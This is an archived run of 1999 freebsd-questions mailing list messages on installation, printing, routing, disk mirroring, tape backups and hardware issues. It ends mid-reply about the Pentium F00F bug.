> The bars and such are too bright for my tastes, but that's easy to change
> w/ The Gimp. :-)


	Found it, downloaded, unbundled, and have the little fellow
	on my root window.  Thanks for the pointer.


> 
> > 		Is there a way of toggling that ``keep on top''
> > 		off as well?
> 
> Not w/ a key shortcut - you can always go click on the attribute button
> again to change it.  Not quite as fast but....  I'm sure there's a way to
> do it w/ a key shortcut but I wouldn't know how. 
> 

	Changing the attributes this way is just fine.  In fact, I
	may only to need to set it once. 

	This conversation could well have been taken off-line.  But
	I think it's been instructive.  That Unix ((Berkeley Unix and
	others)) is  endlessly flexible and colorful and fun.  Lot of
	toys... .

	gary

> 



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From owner-freebsd-questions  Tue Mar 23 16:53:43 1999
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Date: Wed, 24 Mar 1999 08:53:10 +0800 (WST)
From: Michael Slater <mikey@iexpress.net.au>
To: Langa Kentane - MWeb <LKentane@mweb.com>
Cc: "'freebsd-questions@freebsd.org'" <freebsd-questions@FreeBSD.ORG>
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Go to www.atdot.org, they have a pretty good one available for download.


Michael Slater
Internet Express
Perth, Western Australia


On Tue, 23 Mar 1999, Langa Kentane - MWeb wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Does anybody have any example cgi code or a url that I go to that will
> teach me how to create a web pages e-mail client like hotmail and
> stuff.
> 
> I have this a college project that I must do that has to do with this.
> 
> Any help or pointers will be much appreciated.
> 
> Thank in advance
> 
> Langa
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 6.0.2i
> 
> iQA/AwUBNvd5xNALXaBNEberEQKfxACeLTg2jWYEfsGVNmNONKMkJA+Z69sAoI2Y
> WGCsmHWfkKwPJ9iO9G31CBpU
> =t4we
> -----END PGP SIGNATURE-----
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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> 



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From owner-freebsd-questions  Tue Mar 23 16:55:50 1999
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subscribe

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
                                 darin@radio-inc.com
 Director of Information Technology > R A D I O, INC
                     (785) 628-1064, ext. 22 > Phone
                            http://www.media-net.net


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From owner-freebsd-questions  Tue Mar 23 16:57:12 1999
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Date: Tue, 23 Mar 1999 16:55:53 -0800
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Hi , I am trying to install FreeBSD 3.1 from an msdos partition and I am
having some problems.
My issue is I created a directory on C: called freebsd and I downloaded the
entire FreeBSD release
directory to it except for X86 and source. When I choose novice install
from the install menu it
says /dev/wd0s1 /dist no such file or directory. In label editor my setup
is like this

wd0s1    <none>   1702MG
wd0s3a   <none>   30MG
wd0s3b   <swap>   133MG
wd0s3c   <none>    32MG
wd0s3d   /              620MG UFS N <------ I thought this is root file
system and where bsd should be installed
                                                            I Could be
wrong... please help !! 


Thanks !!!!



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From owner-freebsd-questions  Tue Mar 23 17: 5:59 1999
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It looks like in your slice editor you haven't defined any mount points
for the file systems, and a 620MB root file system is WAY to big.  You
should make wd0s3c the root file system, or better yet, remove them all
(not the DOS!) and use the A key.  
In your DOS partition, make sure everything from the 3.1-RELEASE 
directory (not the directory itself) is sitting in a directory (FREEBSD
in your case) right off the root direcory (c:\) so you have a structure
like C:\freebsd\bin c:\freebsd\man and so on.  Then goto Options from
the sysinstall main menu and go down to where it says Relase Name and
change this to FREEBSD.

Eric Webster wrote:
> 
> Hi , I am trying to install FreeBSD 3.1 from an msdos partition and I am
> having some problems.
> My issue is I created a directory on C: called freebsd and I downloaded the
> entire FreeBSD release
> directory to it except for X86 and source. When I choose novice install
> from the install menu it
> says /dev/wd0s1 /dist no such file or directory. In label editor my setup
> is like this
> 
> wd0s1    <none>   1702MG
> wd0s3a   <none>   30MG
> wd0s3b   <swap>   133MG
> wd0s3c   <none>    32MG
> wd0s3d   /              620MG UFS N <------ I thought this is root file
> system and where bsd should be installed
>                                                             I Could be
> wrong... please help !!
> 
> Thanks !!!!
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Tue Mar 23 17:12:21 1999
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Reply-To: <darin@radio-inc.com>
From: "Darin Spence" <darin@radio-inc.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Printing to an NT Server
Date: Tue, 23 Mar 1999 19:09:11 -0600
Message-ID: <00a901be7592$ed9e1d70$2048f0c7@medianet.net>
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I just installed FreeBSD and am trying to figure out how to set it up so
that I can print from the BSD box to my Laser Printer through my Windows NT
4 print server.

I've read though some of the handbook on printing...do I need to have the
LPD protocol installed on the NT print server for this to work?  Can someone
point me in the general direction of where I could find a step-by-step to
get this to work?

Thank you!

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
                                 darin@radio-inc.com
 Director of Information Technology > R A D I O, INC
                     (785) 628-1064, ext. 22 > Phone
                            http://www.media-net.net



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From owner-freebsd-questions  Tue Mar 23 17:33:13 1999
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From: "Ulairi" <ulairi@jps.net>
To: "Questions" <freebsd-questions@freebsd.org>
Subject: RE: Printing to an NT Server
Date: Tue, 23 Mar 1999 17:32:03 -0800
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On the NT box, install the Simple TCP/IP services and the TCP/IP printing
(if I recalled what they were officially termed, it'd be great)
If you have SP3 installed and/or any hot fixes, you will have to re-install
them (thank MicroSquish for that one)
Once that is done, share the printer.

On the FreeBSD system, treat it as a remote BSD system (it is compliant). IP
printing to the NT box, printername=WhateverYouNamedTheShareOnNT

When printing to the printer a file that is a PS or a PCL file, make sure
you tell the lp program that.
On HP-UX, I have to do lp -oBSDo filename.ps to tell it to spool it as a
PostScript file to the NT server. If you don't, you'll see the raw PS code
coming out of the printer (which is great if you want to see what PostScript
looks like, but not so great if you want to see the actual picture it
describes :) )

Pavel May
General Purpose Computer Geek
California State University, Northridge
College of Engineering and Computer Science
18111 Nordhoff St, Post Stop 8295
Northridge, CA 91330
ulairi@jps.net <mailto:ulairi@jps.net>
pavel@ecs.csun.edu <mailto:pavel@ecs.csun.edu>


| -----Original Message-----
| From: owner-freebsd-questions@FreeBSD.ORG
| [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Darin Spence
| Sent: Tuesday, March 23, 1999 17:09
| To: freebsd-questions@FreeBSD.ORG
| Subject: Printing to an NT Server
|
|
| I just installed FreeBSD and am trying to figure out how to set it up so
| that I can print from the BSD box to my Laser Printer through my
| Windows NT
| 4 print server.
|
| I've read though some of the handbook on printing...do I need to have the
| LPD protocol installed on the NT print server for this to work?
| Can someone
| point me in the general direction of where I could find a step-by-step to
| get this to work?
|
| Thank you!
|
| ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
|                                  darin@radio-inc.com
|  Director of Information Technology > R A D I O, INC
|                      (785) 628-1064, ext. 22 > Phone
|                             http://www.media-net.net
|
|
|
| To Unsubscribe: send mail to majordomo@FreeBSD.org
| with "unsubscribe freebsd-questions" in the body of the message
|



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From owner-freebsd-questions  Tue Mar 23 17:34:22 1999
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To: Greg Lehey <grog@lemis.com>
Cc: Chris Piazza <cpiazza@home.net>, questions@FreeBSD.ORG
From: David Kelly <dkelly@hiwaay.net>
Subject: Re: harddrive woes (!) 
In-reply-to: Message from Greg Lehey <grog@lemis.com> 
   of "Wed, 24 Mar 1999 08:53:27 +1030." <19990324085327.F425@lemis.com> 
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Greg Lehey writes:
> > It has the 'low level format', of course ;).  And this error has survived
> > through that.
> 
> It's not much of a low level format if it doesn't detect unrecoverable
> defects.  There's a program called bad144 which we used to use for MFM
> drives; you might like to investigate whether it can help you.

We're talking PC hardware here. Just because there is a "feature" in the
BIOS doesn't mean it works. Or even does anything.

To deal with bad blocks on IDE drives one must aquire tools from the
drive maker. Supposedly the drive will map out bad blocks when they are
going bad, before they really do. But once again, we're talking about PC
hardware, where "cheap" wins over "quality" every time.

Rather than bad144(8), badsect(8) has worked quite well for me in the
past when a no-name IDE drive contained a bad block and wouldn't fix
itself. Sneaky badsect creates a file which contains your bad sector. As
long as this file exists nobody else will try to use your bad block. 

Don't think its implemented, but it would be nice if dump(1) knew about
badsect(8) and would skip these "files" automatically.

--
David Kelly N4HHE, dkelly@nospam.hiwaay.net
=====================================================================
The human mind ordinarily operates at only ten percent of its
capacity -- the rest is overhead for the operating system.




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From owner-freebsd-questions  Tue Mar 23 17:36:43 1999
Delivered-To: freebsd-questions@freebsd.org
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From: mike@sentex.net (Mike Tancsa)
To: blakef@mrdata.com (Blake Freeburg)
Cc: questions@freebsd.org
Subject: Re: Routing a subnet?
Date: Wed, 24 Mar 1999 01:45:32 GMT
Message-ID: <36f8431b.3445907032@mail.sentex.net>
References: <MAIL199903232124.PAA03471@mrdata.com>
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On 23 Mar 1999 16:26:26 -0500, in sentex.lists.freebsd.questions you wrote:

>Hello,
>
>  I know this may be a simple routing problem, but I would like to know:
>
>  How to route a subnet.... When we try to route 
>  route add 216.61.45.24/29 216.61.45.21  

This looks fine to me, assuming 216.61.45.21 is directly reachable on your
ethernet.  What does 

ifconfig -a

show

also please show, 

sysctl -a | grep forw

You might as well tell us 
netstat -nr

	---Mike

Mike Tancsa  (mdtancsa@sentex.net)		
Sentex Communications Corp,   		
Waterloo, Ontario, Canada


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From owner-freebsd-questions  Tue Mar 23 17:41:55 1999
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Date: Tue, 23 Mar 1999 17:43:53 -0800 (PST)
From: Keith Woodman <keith@lightningweb.com>
To: freebsd-questions@freebsd.org
Subject: 3.0 - 3.1 make stop
Message-ID: <Pine.BSF.3.96.990323173043.3321A-100000@nefertiti.lightningweb.com>
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Just finished doing a 
make buildworld      which went fine then did a  
make installworld    which seemed fine too.
After making the world I began to build a new kernel before I rebooted the
machine.  About 10 min, into the make of the new kernel I get the followin
error.

make: Don't know how to make ../../pci/smc83c170.h.  Stop

Any clues as to what the problem could be? This is my first build of the
world and am wondering if I messed up in either the syncing of the source
before beginning, or if maybe I should have built the kernel in a different
order than I did. Here is the exact order of things I have done.
1) Synced source to 3.1-stable        cvsup -g -L 2 /etc/cvsupfile
2) ran mergemaster -v
3) selected  the  i option for all but passwd stuff and other things of
the sort.
4) cd /usr/src
5) make buildworld
6) make installworld
7) cd /usr/src/sys/i386/conf
8) /usr/sbin/config <kernel name>
9) cd ../../compile/<kernel name>
10) make 

10 minutes later I got that error. Any advise is greatly appreciated.

Keith

	
	----------------------------------------------------------------------

	Keith Woodman					Technical Coordinator 
	Keith@lightningweb.com				Lightningweb LLC


	      pid 7962 (sniffit), uid 0: exited on signal 10 (core dumped)
	----------------------------------------------------------------------



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From owner-freebsd-questions  Tue Mar 23 17:43:16 1999
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Date: Tue, 23 Mar 1999 20:39:49 EST
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I have made two boot disk using View on my Freebsd cdrom. However when I run
them i get errors i.e. Disk error 0x4(Iba=0x10), freeBSD/i386
boot,0:fd(0,a)/kernel. 
and it goes no further than that. I have a copy of SCO that boots and loads
but I want to load the FreeBSD software. what should I do to get a proper Boot
floppies?
It is a full 4.4 BSD Lite Based 32 bit os. to be installed on a 266mhz
pentium.

Thanks


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From owner-freebsd-questions  Tue Mar 23 18: 3:12 1999
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To: kayo@finalpath.ddns.org
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Subject: Re: soundblaster16
In-Reply-To: Your message of "Tue, 23 Mar 1999 16:51:11 -0800 (PST)"
	<Pine.BSF.4.05.9903231647250.1115-100000@finalpath.ddns.org>
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From: Kayo <kayo@finalpath.ddns.org>
Subject: soundblaster16
Date: Tue, 23 Mar 1999 16:51:11 -0800 (PST)

> 
> 
> 
> hi, I compiled with pcm0 in kernel. I get this error
> 
> "pcm0: unit not configured, perhaps you want pcm1 ?"
> 
> also /dev/sndstat shows :
> pcm1: <SoundBlaster 16 4.16> at 0x220 irq 5 dma 1:3
> sequencer1: <???> at 0x388 (not functional)
> 
> I am already aware that I can't use snd0 because my second dma is 3 and
> snd0 doesn't support second dma 3.

I think you're pretty close...  My configuration comes out that way too;
Whether it's an off by one error or something to do with the major/minor
IDs I don't know.

cd /dev && sh MAKEDEV snd1

cat somesound.au > /dev/audio

Good Luck,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Tue Mar 23 18:59:24 1999
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Hi, FreeBSD experts,

    Can anyone tell me if FreeBSD support NFS version 3 or not?

    Thanks in advance.

Rgds

Norman Jia
Systems Engineer
Sun Microsystems China Ltd., Guangzhou


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From owner-freebsd-questions  Tue Mar 23 19:25:25 1999
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Date: Tue, 23 Mar 1999 22:23:10 -0500 (EST)
From: Steve Hovey <shovey@buffnet.net>
To: "Scott I. Remick" <scott@computeralt.com>
Cc: Greg Black <gjb@comkey.com.au>,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system 
In-Reply-To: <4.2.0.32.19990323175122.0370cf00@mail.computeralt.com>
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On Tue, 23 Mar 1999, Scott I. Remick wrote:

> At 04:18 PM 3/23/1999 , you wrote:
> >It's not a serious problem -- a properly setup Unix
> >system will never crash from lack of swap.
> 
> Well, ok... so what are the proper setup steps to ensure a system will not 
> crash when the swap fills?  My system in question has a 50MB swap partition 
> and 16MB of physical RAM.  I've tried to take further steps to prevent my 
> swap from filling in the first place, but should it still happen sometime, 
> I want to be prepared.

16MB ram is slim - 32 is better - 128MB swapp or higher depending on what
you want to load it with.


> 
> -----------------------
> Scott I. Remick			scott@computeralt.com
> Network and Information		(802)388-7545 ext. 236
> Systems Manager			FAX:(802)388-3697
> Computer Alternatives, Inc.		http://www.computeralt.com
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

------------------------------------------------------------------
Steve Hovey
Chief Network Administrator
BuffNET		More Than Just a Connection!
------------------------------------------------------------------



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From owner-freebsd-questions  Tue Mar 23 19:57:36 1999
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From: "JOHN M KIRBY" <JOHNK33@prodigy.net>
To: <freebsd-questions@FreeBSD.ORG>
Subject: FreeBSD interface with other operating systems.
Date: Tue, 23 Mar 1999 08:00:43 -0800
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This is a multi-part message in MIME format.

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Greetings,

My name is John and I am a student at the University of Phoenix.  I am =
somewhat a novice with operating systems and I am conducting research on =
how FreeBSD interfaces with other operating systems, especially Windows =
NT and Redhat Linux.  I am interested in any information as to how these =
systems can communicate with each other and what protocols and etc. are =
necessary for this communication.  I appreciate any input on this =
subject.

John

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<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>My name is John and I am a student at the University =
of=20
Phoenix.&nbsp; I am somewhat a novice with operating systems and I am =
conducting=20
research on how FreeBSD interfaces with other operating systems, =
especially=20
Windows NT and Redhat Linux.&nbsp; I am interested in any information as =
to how=20
these systems can communicate with each other and what protocols and =
etc. are=20
necessary for this communication.&nbsp; I appreciate any input on this=20
subject.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>John</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Tue Mar 23 20: 6:53 1999
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Date: Wed, 24 Mar 1999 08:39:01 +1100 (EDT)
From: Andrew MacIntyre <andymac@bullseye.apana.org.au>
To: "Scott I. Remick" <scott@computeralt.com>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Good www indexer?
In-Reply-To: <4.2.0.32.19990323110332.03870540@mail.computeralt.com>
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On Tue, 23 Mar 1999, Scott I. Remick wrote:

> I'm looking for a good, free indexer for web pages that runs on 
> FreeBSD.  Number of pages indexed and amount of use will be VERY low.  I've 
> been looking at ht://Dig but wondered what else was out there.

swish-e is in ports.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre@aba.gov.au    (work) | Snail: PO Box 370
        andymac@bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
Fido:   Andrew MacIntyre, 3:620/243.18        |        Australia



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From owner-freebsd-questions  Tue Mar 23 20: 8:21 1999
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Date: Tue, 23 Mar 1999 21:06:54 -0700
From: Evan Parry <nave@azstarnet.com>
To: freebsd-questions@freebsd.org
Subject: Telnet Troubles
Message-ID: <19990323210654.A29804@lhasa.dhis.org>
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Here's a rather odd problem that I've encountered for the last couple months:

Telnetting (or using ssh) to my FreeBSD box from the outside does not work.
'telnet localhost' connects fine (as does using ssh to the localhost) but
telnet won't giving various error messages from 'operation timed out' to 'no
route to host'.

The strange part of this all however is that other services work fine.  Web,
FTP, SMTP all are able to connect fine from anywhere.  Also, I did not
encounter this problem with Linux when I've tried it but all versions of
FreeBSD I've used (from 2.2.5) have had this.

Any ideas? TIA

-- 
Evan Parry
nave@azstarnet.com


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From owner-freebsd-questions  Tue Mar 23 20:14:48 1999
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	Hello Once Again,

I've got a client who is serious about keeping his server up 24x7 and wants
to mirror his hard drive onto another separate hard drive on a separate
controller.  So basically on the primary IDE channel, the production drive
will sit and on the secondary IDE channel, the backup mirror will live.  

Is there an easy way to accomplish this?  If it could also cut over
automatically in the case of a drive failure, that would be best.

Any help would be appreciated.

Brad




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From owner-freebsd-questions  Tue Mar 23 20:34:42 1999
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Date: Wed, 24 Mar 1999 15:04:15 +1030
From: Greg Lehey <grog@lemis.com>
To: Ian Moore <imoore@hamcoll.schools.sa.edu.au>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: Using dump with a DAT
References: <36F81CD5.C5E6AB25@hamcoll.schools.sa.edu.au>
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On Wednesday, 24 March 1999 at  9:29:33 +1030, Ian Moore wrote:
> Hi,
> I'm trying to dump to a Seagate CTD4004R-S 4/8Gig DAT drive on a server
> running 2.2 STABLE & am having problems when the end of the tape is
> reached. Using -u does not work.

Do you really mean -u?

     -u      Update the file /etc/dumpdates after a successful dump.  The for-
             mat of /etc/dumpdates is readable by people, consisting of one
             free format record per line: filesystem name, increment level and
             ctime(3) format dump date.  There may be only one entry per
             filesystem at each level.  The file /etc/dumpdates may be edited
             to change any of the fields, if necessary.

This doesn't really seem relevant to your problems.  It seems like you
want to mean -a:

     -a      ``auto-size''. Bypass all tape length considerations, and enforce
             writing until an end-of-media indication is returned.  This fits
             best for most modern tape drives.  Use of this option is particu-
             larly recommended when appending to an existing tape, or using a
             tape drive with hardware compression (where you can never be sure
             about the compression ratio).

The question is, which option did you try?  -a sounds like the way to
go to me.

> I found this in the mailing list archive:
>
>> On Wed, 25 February 1998 at 16:01:21 -0600, Jason Hudgins wrote:
>>>>> I have a Seagate DAT that I've been dumping backups too.  The DAT is
>>>>> supposed to have a 4 gig capacity (uncompressed) when writing to a 120m
>>>>> tape.  Can anyone PLEASE tell me the proper density/tape length to get
>>>>> 4 gigs out of this thing? So far I've been using a density of 61000 and a
>>>>> length of 6000, which will store about 2 gigs..and works fine, but I
>>>>> REALLY need to get 4 gigs out of it...or at least 3.
>>>>
>>>> Try using the -a option and drop the length and density options. If your drive
>>>> reports EOM properly it should work just fine.
>>>
>>> I've tried that.. it doesn't work.. it just hits the end of the tape and
>>> the bugs out with write errors.. =(
>>
>> Unfortunately, the tape driver currently returns an I/O error
>> indication when it hits end of tape.  They're working on it, but it's
>> more complicated than it appears.
>>
>> Greg
>
> I'm wondering if this problem has been solved yet?!

Hmm.  It would have helped if you had included the date and the name
of the sender in your quote, but it appears to have been from me on
Thu, 26 Feb 1998 09:43:28 +1030.  Yes, I'm pretty sure the software
has changed completely since then.  But ISTR that dump doesn't take
kindly to end of tape.

> If not, can anyone tell me what values I should use for a 4G DAT tape
> (120 metres) if I don't use compression -I've tried some of the
> suggestions given on the mailing list archives, but keep getting
> 'invalid 'd' (density) value' or 'invalid 'b' (no of blocks per write)
> value' errors.
> There seem to be numerous opinions on what values to use & wether to use
> d & s or b & B parameters & I'm kinda confused.

If you're going to get involved in this kind of guesswork, then -b and
-B are the way to go, but you'll waste a lot of space if you turn
compression off, and I'd still go for -a.  What error messages are you
getting?

Greg
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From owner-freebsd-questions  Tue Mar 23 20:43:25 1999
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From: Greg Lehey <grog@lemis.com>
To: Brad Lisoweski <blisowes@cgocable.net>,
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Subject: Re: Disk Mirroring with FreeBSD
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On Tuesday, 23 March 1999 at 23:14:01 -0500, Brad Lisoweski wrote:
>
> 	Hello Once Again,
>
> I've got a client who is serious about keeping his server up 24x7 and wants
> to mirror his hard drive onto another separate hard drive on a separate
> controller.  So basically on the primary IDE channel, the production drive
> will sit and on the secondary IDE channel, the backup mirror will live.
>
> Is there an easy way to accomplish this?

Yes.

> If it could also cut over automatically in the case of a drive
> failure, that would be best.

Use Vinum.  It doesn't "cut over", it uses whatever disks are
available.  If both drives are available, it uses both to increase
performance; if one fails, it just carries on with the other.  Take a
look at http://www.lemis.com/vinum.html for more details.

Greg
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From owner-freebsd-questions  Tue Mar 23 20:53:57 1999
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I got gnome going, but it can't find libintl.so.1

Where can i get and compile this lib??



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From owner-freebsd-questions  Tue Mar 23 21: 2:41 1999
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Date: Wed, 24 Mar 1999 15:11:11 +1030
From: Greg Lehey <grog@lemis.com>
To: Norman Jia - Sun/PRC/GZ Systems Engineer <njia@prc.sun.com>,
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Subject: Re: If FreeBSD support NFS version 3 or not?
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On Wednesday, 24 March 1999 at 10:54:33 +0800, Norman Jia - Sun/PRC/GZ Systems Engineer wrote:
> Hi, FreeBSD experts,
>
>     Can anyone tell me if FreeBSD support NFS version 3 or not?

Yes, it does.

Greg
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From owner-freebsd-questions  Tue Mar 23 21: 8: 9 1999
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I am a beginner in the world of UNIX. I didn't want linux, so my friend =
suggested FreeBSD because it could run on a computer like mine=20
:Pentium 333 -64MB RAM -2G HD

I wanted to know, how large is FreeBSD, will it cause problems with =
win98? can aveerage computer user (knows programming, different OSes, =
some unix commands,) be able to use it? Pleease enlighten me.

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From owner-freebsd-questions  Tue Mar 23 21:15:25 1999
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Hello,

I am trying to set up FreeBSD 2.2.8 via FTP.  I can connect to my ISP with
the included PPP program but then it will not connect to the FreeBSD ftp site.

I'm wondering if one of the PPP settings is wrong but there's not a lot of
help with the fields you have to enter information in.

One of the dialog boxes asks for my IP address, but since my ISP dynamically
assigns them, what do I enter on that line?

I left it blank and I'm wondering if that's why it can't connect to the FTP
server.

Thanks,

Jeff



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From owner-freebsd-questions  Tue Mar 23 21:19: 9 1999
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Uh, vinum volumes can't be used for the root yet can they?  

On Wed, 24 Mar 1999, Greg Lehey wrote:

> On Tuesday, 23 March 1999 at 23:14:01 -0500, Brad Lisoweski wrote:
> >
> > 	Hello Once Again,
> >
> > I've got a client who is serious about keeping his server up 24x7 and wants
> > to mirror his hard drive onto another separate hard drive on a separate
> > controller.  So basically on the primary IDE channel, the production drive
> > will sit and on the secondary IDE channel, the backup mirror will live.
> >
> > Is there an easy way to accomplish this?
> 
> Yes.
> 
> > If it could also cut over automatically in the case of a drive
> > failure, that would be best.
> 
> Use Vinum.  It doesn't "cut over", it uses whatever disks are
> available.  If both drives are available, it uses both to increase
> performance; if one fails, it just carries on with the other.  Take a
> look at http://www.lemis.com/vinum.html for more details.
> 
> Greg
> --
> When replying to this message, please copy the original recipients.
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> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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> 



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From owner-freebsd-questions  Tue Mar 23 21:23:26 1999
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Date: Tue, 23 Mar 1999 21:22:47 -0800 (PST)
From: Ben Salem <ben177@yahoo.com>
Subject: Creating an installation boot-floppy in FreeBSD.
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When I first installed FreeBSD I created the boot-floppy for
installation under Windows.  Now that I have gotten rid of Windows, I
would like to know how I can create the exact same disk using FreeBSD. 
If there is documentation on how to do this somewhere, please direct me
towards that as well, but I couldn't find anything in the handbook, FAQ,
or mailing list archives.

Thanks, 

-Ben
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From owner-freebsd-questions  Tue Mar 23 21:26:16 1999
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Date: Tue, 23 Mar 1999 21:25:54 -0800 (PST)
From: Sean-Paul Rees <sean@flame.org>
To: questions@freebsd.org
Subject: 3.1-S and /lkm
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I noticed that /lkm hasn't been touched since the day I installed FreeBSD
3.0-R. Since then, I've upgraded to 3.1-S, and was wondering if I still
needed /lkm, over /modules.
Would appreciate any input.


Cheers,
Sean




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From owner-freebsd-questions  Tue Mar 23 21:43:31 1999
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To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>,
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>From: matt
>Date: Tue, 23 Mar 1999 21:07:56 -0800
>I wanted to know, how large is FreeBSD, will it cause problems with win98? can aveerage
>computer user (knows programming, different OSes, some unix commands,) be able to use it?
>Pleease enlighten me.

The Unix way is to try to enlighten yourlself as much as you can.
See www.freebsd.org and pay attention to the FAQ (Frequently asked
questions) section and the "Handbook Section"

Short answers:
You should be able to run FreeBSD and Win98 ok.

FreeBSD is very simmilar to other Unix so depending on your Unix
knowledge you should have/not have problems.



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<HTML>

</U><FONT FACE="Courier" DEFAULT="FACE"><FONT SIZE="2" POINTSIZE="11" DEFAULT="SIZE">&gt;<B>From:</B> matt<BR>
<B>&gt;Date:</B> Tue, 23 Mar 1999 21:07:56 -0800<BR>
<FONT SIZE="2" POINTSIZE="10">&gt;I wanted to know, how large is FreeBSD, will it cause problems with win98? can aveerage<BR>
&gt;computer user (knows programming, different OSes, some unix commands,) be able to use it?<BR>
&gt;Pleease enlighten me.<BR>
<BR>
The Unix way is to try to enlighten yourlself as much as you can.<BR>
See www.freebsd.org and pay attention to the FAQ (Frequently asked questions) section and the "Handbook Section"<BR>
<BR>
Short answers:<BR>
You should be able to run FreeBSD and Win98 ok.<BR>
<BR>
FreeBSD is very simmilar to other Unix so depending on your Unix knowledge you should have/not have problems.<FONT SIZE="2" POINTSIZE="11" DEFAULT="SIZE"><BR>
<BR>
<BR>

</HTML>


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From owner-freebsd-questions  Tue Mar 23 21:43:45 1999
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A basic setup is fairly simple.  Your Q is a bit vague though...Did you
want FBSD partition to co-exist with a W98 partition?  


From my experience, if you really to have fun with FBSD in a networked
environment, you should have separate FBSD and W98 boxes.  This will
allow you to explore all sorts of features.  E.G. Samba is an execllent
package to install on your FBSD system so that it may provide seamless
file/printer sharing with your W98 system.


Also, you may want to explore the FBSD system's
HTTP/FTP/SMTP/POP/Telnet/RealAudio/X-windows/.........need I say 
more...


I have used both FBSD and Linux.  FBSD has given me the most stable
performance in a wide variety of loads.  I have had uptimes in the order
of 12 months. (try that on a Microsquish system).




At 09:07 PM 3/23/99 -0800, you wrote: 

>>>>

<excerpt><smaller>I am a beginner in the world of UNIX. I didn't want
linux, so my friend suggested FreeBSD because it could run on a computer
like mine 

:Pentium 333 -64MB RAM -2G HD

</smaller>  

<smaller>I wanted to know, how large is FreeBSD, will it cause problems
with win98? can aveerage computer user (knows programming, different
OSes, some unix commands,) be able to use it? Pleease enlighten me.

</smaller>

</excerpt><<<<<<<<





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From owner-freebsd-questions  Tue Mar 23 21:44:49 1999
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From: "Dan Langille" <junkmale@xtra.co.nz>
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To: Ben Salem <ben177@yahoo.com>
Date: Wed, 24 Mar 1999 17:44:49 +1200
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On 23 Mar 99, at 21:22, Ben Salem wrote:

> When I first installed FreeBSD I created the boot-floppy for
> installation under Windows.  Now that I have gotten rid of Windows, I
> would like to know how I can create the exact same disk using FreeBSD. 
> If there is documentation on how to do this somewhere, please direct me
> towards that as well, but I couldn't find anything in the handbook, FAQ,
> or mailing list archives.

See http://www.freebsd.org/handbook/install.html and refer to item 4 where 
it says:

If you are using a UNIX system to create the floppy images....etc.

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Tue Mar 23 21:49: 8 1999
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On Tuesday, 23 March 1999 at 21:18:03 -0800, Jaye Mathisen wrote:
>> On Tuesday, 23 March 1999 at 23:14:01 -0500, Brad Lisoweski wrote:
>>>
>>> 	Hello Once Again,
>>>
>>> I've got a client who is serious about keeping his server up 24x7 and wants
>>> to mirror his hard drive onto another separate hard drive on a separate
>>> controller.  So basically on the primary IDE channel, the production drive
>>> will sit and on the secondary IDE channel, the backup mirror will live.
>>>
>>> Is there an easy way to accomplish this?
>>
>> Yes.
>>
>>> If it could also cut over automatically in the case of a drive
>>> failure, that would be best.
>>
>> Use Vinum.  It doesn't "cut over", it uses whatever disks are
>> available.  If both drives are available, it uses both to increase
>> performance; if one fails, it just carries on with the other.  Take a
>> look at http://www.lemis.com/vinum.html for more details.
>
> Uh, vinum volumes can't be used for the root yet can they?

Correct, that's still a restriction.  There are ways around it, and
though they're ugly, they could work.  The only file that really needs
to be in the root file system is the kernel, which isn't accessed
after startup, so you could mount another file system on top of it.

Greg
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From owner-freebsd-questions  Tue Mar 23 22: 6:21 1999
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From: "Carter, Lee (CAA)" <Lee.Carter@courts.sa.gov.au>
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Subject: Complete FreeBSD
Date: Wed, 24 Mar 1999 16:30:55 +0930
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Guys

Just wondering if/when the "Complete FreeBSD Book" will be re-released
updated for 3.x.

-lee


~Lee Carter ~
Unix System Administrator Assoc.
Technical Services
>            <<...>> 
Phone (08) 8226 9375 
Fax     (08) 8226 9392
Email   lee.carter@courts.sa.gov.au

Work like you don't need the money, Love like you've never been
hurt, and dance like nobody's watching.



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From owner-freebsd-questions  Tue Mar 23 22: 7:52 1999
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On Wednesday, 24 March 1999 at 16:30:55 +0930, Carter, Lee (CAA) wrote:
> Guys
>
> Just wondering if/when the "Complete FreeBSD Book" will be re-released
> updated for 3.x.

Yes.  In about 3 months.

Greg
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From owner-freebsd-questions  Tue Mar 23 22:10:44 1999
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Date: Wed, 24 Mar 1999 00:10:19 -0600
From: Dan Nelson <dnelson@emsphone.com>
To: Gavan Anderson <gavanja@ibm.net>
Cc: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Subject: Re: P133 Question
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In the last episode (Mar 24), Gavan Anderson said:
> I just set up a 2.2.8 installation on a Pentium 133. On boot up as it
> scans through the hardware, one of the messages returned states:
> 
> "Pentium F00F detected .. installing workaround"
> 
> What does this really mean? Do I have a problem with that version of
> the Pentium processor, or is it something broken in the INTEL
> instruction set?

It basically means you have a Pentium.  All Pentiums are susceptible to
the "F00F" bug, where a certain machine-language instruction (starting
